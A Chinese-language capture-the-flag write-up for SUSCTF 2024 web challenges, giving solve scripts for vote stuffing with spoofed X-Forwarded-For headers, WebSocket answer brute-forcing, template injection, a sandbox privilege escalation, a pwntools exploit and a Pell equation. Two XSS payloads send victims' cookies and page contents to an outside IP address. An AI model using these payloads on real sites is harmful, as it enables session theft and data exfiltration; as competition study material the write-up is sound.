susctf2024-web-wp

本文最后更新于:2024年12月14日 下午

vote now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import requests
import re
import time
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager

def send_vote(proof, ip):
url = "http://game.ctf.seusus.com:54337/vote"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36",
"Accept": "*/*",
"Origin": "http://game.ctf.seusus.com:54337",
"Referer": "http://game.ctf.seusus.com:54337/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"remote_addr": ip,
"X-Forwarded-For": ip
}
data = {
"token": "wX74CL3wGQCTctwt3h9mOEpWrl0lTpBK5JzO6e8pFzdg22DD97fOzg42hxO6EU6q",
"proof": proof
}

response = requests.post(url, headers=headers, json=data)
return response

def update_ip_in_html(ip, file_path='./test.html'):

ip_pattern = r'(const\s+ip\s*=\s*")[^"]*(";)'

with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()

new_content = re.sub(ip_pattern, lambda m: f'{m.group(1)}{ip}{m.group(2)}', content)


with open(file_path, 'w', encoding='utf-8') as file:
file.write(new_content)

print(f"已将 IP 更新为: {ip}")


def fetch_proof(url, ip):

update_ip_in_html(ip)


options = Options()
options.headless = True
service = Service(ChromeDriverManager().install())

driver = webdriver.Chrome(service=service, options=options)
driver.get(url)

proof_pattern = r'<div[^>]*>.*?Proof:\s*(000\w{5})<\/div>'
script_pattern = r"<script.*?>.*?</script>"

while True:

time.sleep(2)
page_source = driver.page_source


match = re.search(proof_pattern, page_source, flags=re.DOTALL)

if match:
proof_value = match.group(1)
driver.quit()
return proof_value


clean_content = re.sub(script_pattern, "", page_source, flags=re.DOTALL)


print("当前页面内容")
print(clean_content.strip())
time.sleep(2)

proof_url = "http://localhost:11452/test.html"
for i in range(0,256):
ip_address=str(i)+".1.1.97"
proof_value=fetch_proof(proof_url,ip_address)
print(proof_value)
response = send_vote(proof_value, ip_address)
print(response.status_code)
print(response.text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="module">
import { calculateProof } from "./static/helper.js";

const token = "wX74CL3wGQCTctwt3h9mOEpWrl0lTpBK5JzO6e8pFzdg22DD97fOzg42hxO6EU6q";
const ip = "255.1.1.97";

// 等待页面完全加载后立即执行
window.addEventListener("DOMContentLoaded", async () => {
// 创建一个文本节点,用于显示 proof
const infoText = document.createElement("div");
infoText.innerText = "Starting PoW Worker...";
document.body.appendChild(infoText);

// 计算 proof
const proof = await calculateProof(ip, token, (v) => {
// 显示计算进度
if (v == -1) {
infoText.innerText = "";
} else {
infoText.innerText = `Progress: ${v}`;
}
});

// 将最终 proof 值显示在页面上
infoText.innerText = `Proof: ${proof}`;
});
</script>

http server emulator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import websocket
import pickle

nginx_status_codes = [
100, # Continue
101, # Switching Protocols
200, # OK
201, # Created
202, # Accepted
203, # Non-Authoritative Information
204, # No Content
205, # Reset Content
206, # Partial Content
300, # Multiple Choices
301, # Moved Permanently
302, # Found
303, # See Other
304, # Not Modified
305, # Use Proxy
307, # Temporary Redirect
308, # Permanent Redirect
400, # Bad Request
401, # Unauthorized
402, # Payment Required
403, # Forbidden
404, # Not Found
405, # Method Not Allowed
406, # Not Acceptable
407, # Proxy Authentication Required
408, # Request Timeout
409, # Conflict
410, # Gone
411, # Length Required
412, # Precondition Failed
413, # Payload Too Large
414, # URI Too Long
415, # Unsupported Media Type
416, # Range Not Satisfiable
417, # Expectation Failed
426, # Upgrade Required
500, # Internal Server Error
501, # Not Implemented
502, # Bad Gateway
503, # Service Unavailable
504, # Gateway Timeout
505 # HTTP Version Not Supported
]


res_dict=dict()
ws = websocket.WebSocket()


while True:
ws.connect('ws://game.ctf.seusus.com:54782/ws')
result = str(ws.recv())
print(result)
if result not in res_dict:
print("not in!")
print(res_dict)
res_dict[result]=""
ws.close()
i=0
while True:
ws.connect('ws://game.ctf.seusus.com:54782/ws')
res=str(ws.recv())
if res!= result:
ws.close()
continue
else:
ws.send(str(nginx_status_codes[i]))
res2=str(ws.recv())
if 'Wrong answer!' not in res2:
print("++")
res_dict[result]=nginx_status_codes[i]
print("ok!")
break
else:
print(str(nginx_status_codes[i])+" false")
i+=1
if i>41:
ws.close()
break
else:
print("in!!!")
with open("res_dict.pkl","wb") as f:
pickle.dump(res_dict,f)
continue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import websocket
import pickle


with open("res_dict.pkl","rb") as f:
res_dict=pickle.load(f)
print(res_dict)
ws = websocket.WebSocket()
ws.connect('ws://game.ctf.seusus.com:54782/ws')
while True:
result = str(ws.recv())
print(result)
res=res_dict[result]
ws.send(str(res))

note taking 1

/public/index.html会优先渲染覆盖/,直接xss

1
<script>new Image().src='http://47.236.124.37:11451/?cookie='+document.cookie;</script>

note taking 2

好像没用上xssleak?一开始想多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>
fetch(`/`, {
method: 'GET',
cache: 'force-cache',
mode: 'no-cors'
})
.then(response => response.text())
.then(data => {
fetch('http://47.236.124.37:11451/', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ content: data })
})
.then(response => response.text())
.then(result => console.log('Response:', result))
.catch(error => console.error('Error:', error));
})
.catch(error => console.error('Error fetching data:', error));
</script>

webhook as a service

iris ssti

1
SendFile "/flag" "1.txt"

image-20240923233234062

noscript

溢出把内存里的flag顶掉,让条件判断失败,正常显示flag

1
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

Another Sandbox

具体的脚本好像删了

大概的原理就是依靠目录名称的解析问题

image-20240923233629875

用另一个sandbox再目标sandbox建一个/init.py/__main__.py,权限给到777

1
sudo -u www-data cp /app/init.py /sandbox/{id}/init.py && cd /sandbox/{id} && python3 init.py

再开目标sandbox,就能靠python3 init.py提权到www-data

/bin/flag

手动补全定位块

image-20240923234006537

Tyche

每列最多一个怪,选中等就行了,找到一个怪后那一列一定安全

ai写的半自动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import socket

sign=0
tmp_msg=""

def play_game():
global sign
host = 'game.ctf.seusus.com'
port = 50159
bad_guy_position = None # 用于记录恶魔的位置 (row, col)
current_position = (0, 0) # 记录当前玩家的位置 (行, 列)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

# 读取初始欢迎信息
welcome_message = s.recv(4096).decode()
print(welcome_message)

# 选择难度 "hard"
s.sendall(b'middle\n')

while True:
if sign==0:
# 接收服务器返回的消息
data = s.recv(4096)
if not data:
break

message = data.decode()
print(message)
else:
message=tmp_msg
sign=0
# 检查是否遇到了恶魔
if "Oops! You encountered a bad guy at" in message:
# 提取恶魔的位置
try:
parts = message.split("Oops! You encountered a bad guy at")[1].split(".")[0].strip()
row, col = map(int, parts.strip("()").split(","))
bad_guy_position = (row, col)
print(f"记录恶魔位置: ({row}, {col})")
except ValueError:
pass

# 遇到恶魔后停止,并等待下一步指令
print("遇到恶魔!停止当前操作,等待下一步指令...")
continue

# 检查当前的位置
if "Current position:" in message:
try:
parts = message.split("Current position:")[1].split(".")[0].strip()
row, col = map(int, parts.strip("()").split(","))
current_position = (row, col)
print(f"更新当前位置: ({row}, {col})")
except ValueError:
pass

# 判断是否提示要移动
if "Use 'wsad' to move:" in message or "等待输入下一步操作" in message:
while True:
user_input = input("请输入移动指令和步数 (格式: w3, s5, a2, d1),或输入 'q' 退出: ").strip().lower()
if user_input == 'q':
print("游戏结束")
return

# 检查输入格式是否正确
if len(user_input) >= 2 and user_input[0] in 'wsad' and user_input[1:].isdigit():
direction = user_input[0]
steps = int(user_input[1:])
break
else:
print("输入格式错误,请重新输入!")

# 发送用户的移动指令到服务器
for _ in range(steps):
s.sendall(direction.encode() + b'\n')

# 接收并打印服务器返回的信息
data = s.recv(4096)
if not data:
break

message = data.decode()
tmp_msg=message
print(message)

# 如果遇到恶魔,停止当前循环并等待用户下一步指令
if "Oops! You encountered a bad guy at" in message:
print("遇到恶魔!停止当前操作,等待下一步指令...")
break

# 指令执行完后继续接受用户新的指令
print("指令执行完毕,等待输入下一步操作...")
sign=1

if __name__ == "__main__":
play_game()

Pell

原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import numpy as np
from collections import deque

d = 114514
m = int(np.sqrt(d))
dq = deque()
dq.append(m)
n0 = n1 = d - m * m
m1 = m
while 1:
q, m2 = divmod(m1 + m, n1)
dq.appendleft(q)
m1 = -m2+m
n1 = (d-m1*m1)//n1
if m1 == m and n1 == n0:
break

dq.popleft()
b = 1
c = 0
for i in dq:
b1 = c + b * i
c = b
b = b1

print(b*b-d*c*c)
print(b)
print(c)

众里寻她千百度

拿gift打了100个

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote("game.ctf.seusus.com", 55092)
r.recvuntil(b"you:")

data = r.recv()[:-1]

payload = p64(int(data, 16)) * 100

print(r.recvline())

r.send(payload)
r.interactive()

susctf2024-web-wp
http://gensokyo.cn/2024/11/28/susctf2024-web-wp/
作者
s1ain
发布于
2024年11月28日
许可协议